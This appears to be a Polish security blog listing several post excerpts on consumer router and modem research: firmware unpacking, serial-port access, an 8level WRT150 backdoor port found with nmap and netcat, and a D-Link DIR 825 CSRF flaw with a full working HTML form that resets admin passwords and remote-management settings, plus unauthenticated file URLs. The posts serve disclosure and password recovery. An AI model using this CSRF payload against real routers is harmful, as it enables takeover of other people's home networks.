Friday, February 19, 2016

Odzyskiwane admina - analiza pliku konfiguracyjnego do modemu UPC

Ten post mógł się pojawić już pod koniec kwietnia 2015, kiedy przyjechał instalator i podłączył modem Ubee z oprogramowaniem EVW3226_1.0.16 - model EVW 3226. Nie miałem specjalnie czasu ani motywacji (w końcu to sprzęt od ISP) na potestowanie zabezpieczeń. Oczywiście w dniu instalacji zalogowałem się do modemu, ustawiłem to, co mi było potrzebne, zmieniłem hasło do modemu żeby je potem zapomnieć. Zrobiłem backup konfiguracji + ruch na interfejsie sieciowym loguję na dysku. Nie lubię przywracania ustawień fabrycznych, nawet jeśli konfiguracja była prosta.
Po tygodniu próbowałem się zalogować do modemu- ACCESS DENIED. Po kilkunastu próbach zalogowania i poszukiwaniu backupu okazało się, że hasła nie pamiętam, pliku nie mam lub nie wiem który jest właściwy- a zapisywanie konfiguracji i każdorazowe restartowanie modemu jest mało ciekawe.

Poinformowałem UPC o tym bugu. Potwierdzili, nie dostałem odpowiedzi. Po kilku miesiącach przypomniałem się, oddzwonił ktoś z firmy z informacją, że problem został rozwiązany. Mój modem nie ma innej wersji oprogramowania niż pierwotna, bug jest nadal. Nie działa, przynajmniej w takiej formie od strony sieci publicznej.

Friday, July 17, 2015

Identyfikacja pinów i podłączenie się do portu szeregowego na przykładzie Cisco SPA 502G.

Kiedy byłem mały, chętnie rozkręcałem różne urządzenia elektroniczne, żeby zobaczyć co jest w środku i dowiedzieć się jak ono działa. Zwykle, po skręceniu sprzęt nadawał się już tylko na przycisk do papieru, w dodatku niektóre elementy cudownie się rozmnażały i choć skręcić się udało, jakieś śrubki czy sprężynki zostały luzem. Podobnie zresztą miałem z rowerem...

Dziś już jestem duży i więcej obwodów drukowanych mam na zewnątrz obudowy, niż w ich wnętrzu, jak przewidzieli producenci. 

Tym razem zajmiemy się rozkręceniem urządzenia, identyfikacją zakończeń (pinów) portu oraz podłączeniem się do urządzenia poprzez ten port- bootloader oraz uruchomienie się systemu. Nie spotkałem się z routerem, który wewnątrz lub w dokumentacji miałby opisany jasno port. Internet jest pełen już zidentyfikowanych pinów, do ogromnej ilości sprzętu, jednak do swojego modelu nie udało mi się znaleźć.

Jako przykład użyję aparatu IP Cisco SPA 502G. 



Sunday, June 21, 2015

Tutorial- Unpacking cable modem firmware

So, what about Your ISP cable modem? Some providers shares a cm firmware, some not and this is the most often situation. There is a couple of ways, to get this piece of binaries. When You have it, You may think what is the next step. A few basic tools (hexdump, strings, dd, lzmadec,  etc.) provided with linux usually make the job. Now, go back to ours binary. First we must know, if it is a zip or lzma package maybe? File command show us, what it knows about it.

$ file cable_modem_firmware.bin 
cable_modem_firmware.bin: data

Nothing. 

Of course, file tool doesn't reveal intersting news at this step, as usually. Ther is no magic bytes recognized on the begining of .bin file.
Next tool is "strings". In example mentioned below, it show us at least 12-chars strings: 


$ strings -12 cable_modem_firmware.bin 
cable_modem_firmware.bin

4wX8<X$2ee`E-
(8i\R#F"\b-#O
t^paU>ETvn{^o
S<W/[d6h)!@|;q
p!&G,C< >       ,r:
h;BVFqX*99YJT
Hro+'xP@LRD1#
/.3jDeFloQ1     s
pDvaz|IR/_[;q-
nRG<5@W9U#?F,>Q

Monday, March 23, 2015

8 level wrt150- backdoor jak drzwi od stodoły

**Producent powiadomiony- brak odpowiedzi**

Jest to prawdopodobnie ten sam backdoor opisany przez Zaufaną Trzecią Stronę.

Pod koniec zeszłego roku, dzięki uprzejmości kolegi z pracy, miałem okazję podłączyć sobie na testy router firmy 8 level, model WRT 150. Pobieżne (a to błąd) penetracje doprowadziły mnie do wniosku, że urządzenie jest bezpieczne i wyłączyłem je. Nic bardziej mylnego. W myśl powiedzenia "najciemniej jest pod latarnią" ostatnią rzecz jaką miałem zrobić, to przeskanować porty tego sprzętu:

$ sudo nmap 192.168.1.1 -sU -p1-65535 -min-rate 15000 -stats-every 3 -vv -r

i wynik:

PORT      STATE  SERVICE
...
53413/udp open   unknown
...


Pierwsza myśl, to UPnP. Sprawdziłem- wyłączone. Router zaczyna być podejrzany. Skoro port jest otwarty, to znaczy, że czeka na jakiś komunikat


$ nc 192.168.1.1 53413 -u -vv


Monday, March 9, 2015

D-­Link DIR 825 - atak CSRF (po raz drugi)

W poprzednim poście opisałem w jaki sposób możemy uzyskać dostęp do systemu plików routera mając jego firmware, 
a następnie do plików znajdujących się na urządzeniu poprzez usługę TFTP. Usługa ta została wyłączona, co powinno stać się pierwotnie. Możemy ją z powrotem aktywować, modyfikując binarkę, ale tak się nie liczy. 


Tym razem krótszy wpis, bo i nad istotą problemu CSRF nie ma się co rozwodzić. 



Zapomniane hasło i w tym przypadku możemy odzyskać, mając gotowy dokument HTML, po to by zmienić dowolny parametr na routerze. Po przechwyceniu żądania zmiany hasła na proxy, widzimy (część kodu usunąłem, ponieważ był bardzo długi a dotyczył jedynie reguł przekierowania portów):



<html>
  <body>
    <form action="http://192.168.0.1/apply.cgi" method="POST">
      <input type="hidden" name="button" value="Save&#32;Settings" />
      <input type="hidden" name="admin&#95;password&#95;tmp" value="test1234" />
      <input type="hidden" name="admin&#95;password" value="test1234" />
      <input type="hidden" name="admin&#95;password1" value="test1234" />
      <input type="hidden" name="admPass2" value="test1234" />
      <input type="hidden" name="user&#95;password&#95;tmp" value="1234" />
      <input type="hidden" name="user&#95;password" value="1234" />
      <input type="hidden" name="user&#95;password1" value="1234" />
      <input type="hidden" name="usrPass2" value="1234" />
      <input type="hidden" name="hostname" value="router" />
      <input type="hidden" name="graph&#95;auth&#95;enable" value="0" />
      <input type="hidden" name="https&#95;config" value="0&#47;0&#47;8181&#47;8080" />
      <input type="hidden" name="remote&#95;http&#95;management&#95;enable" value="0" />
      <input type="hidden" name="remote&#95;http&#95;management&#95;inbound&#95;filter" value="Allow&#95;All" />
   <input type="submit" value="chakuj!" />
    </form>
  </body>
</html>


Hasło oczywiście zostało zmienione na test1234. Jednocześnie wysłaliśmy żądanie m.in. zmiany hasła dla usera bez praw admina, hostname, zdalne zarządzanie routerem oraz port. 


OK, wracamy do trybu "nie znam hasła". 

Wystarczy powyższy skrypt zmodyfikować, czyli test1234 zmienić na swoją wartość i odpalić plik html w przeglądarce. Nie będąc zalogowanym urządzenie potwierdzi nam zmiany:

Po krótkich testach nie udało mi się potwierdzić ataku na publiczny adres IP, co wcale nie oznacza, że się nie da...


Bez autoryzacji możemy otworzyć pliki tekstowe:

http://192.168.0.1/chklst.txt
http://192.168.0.1/wlan.txt
http://192.168.0.1/HNAP1.txt
http://192.168.0.1/wireless_update.txt

których nie ma (już) w systemie plików w 2.0.9






Tuesday, February 3, 2015

D-­Link DIR 825 ­ azjatycki durszlak (po raz pierwszy)


źródło

Jeśli zapomniałeś wszelkich haseł, lub chcesz je zmienić nie mając dostępu do panelu administracyjnego,poniżej kilka wskazówek.


Podatności potwierdzone na wersji firmware'u 2.0.2 REVB i niższych, dostępne tutaj.

W przypadku mojego egzemplarza, router bez zmodyfikowania wersji 2.0.7 dostępnej pod linkiem wyżej, nie chce jej pobrać. Wersja 2.0.9beta patchuje dziury (od d-linka, którego powiadomiłem), można ją pobrać stąd.

Przywracanie ustawień fabrycznych może być kłopotliwe, jeśli mamy urządzenie skonfigurowane w stopniu większym niż ustalenie SSID- to jasne. Ambitniej będzie dobrać się do pudełka bez resetu ;)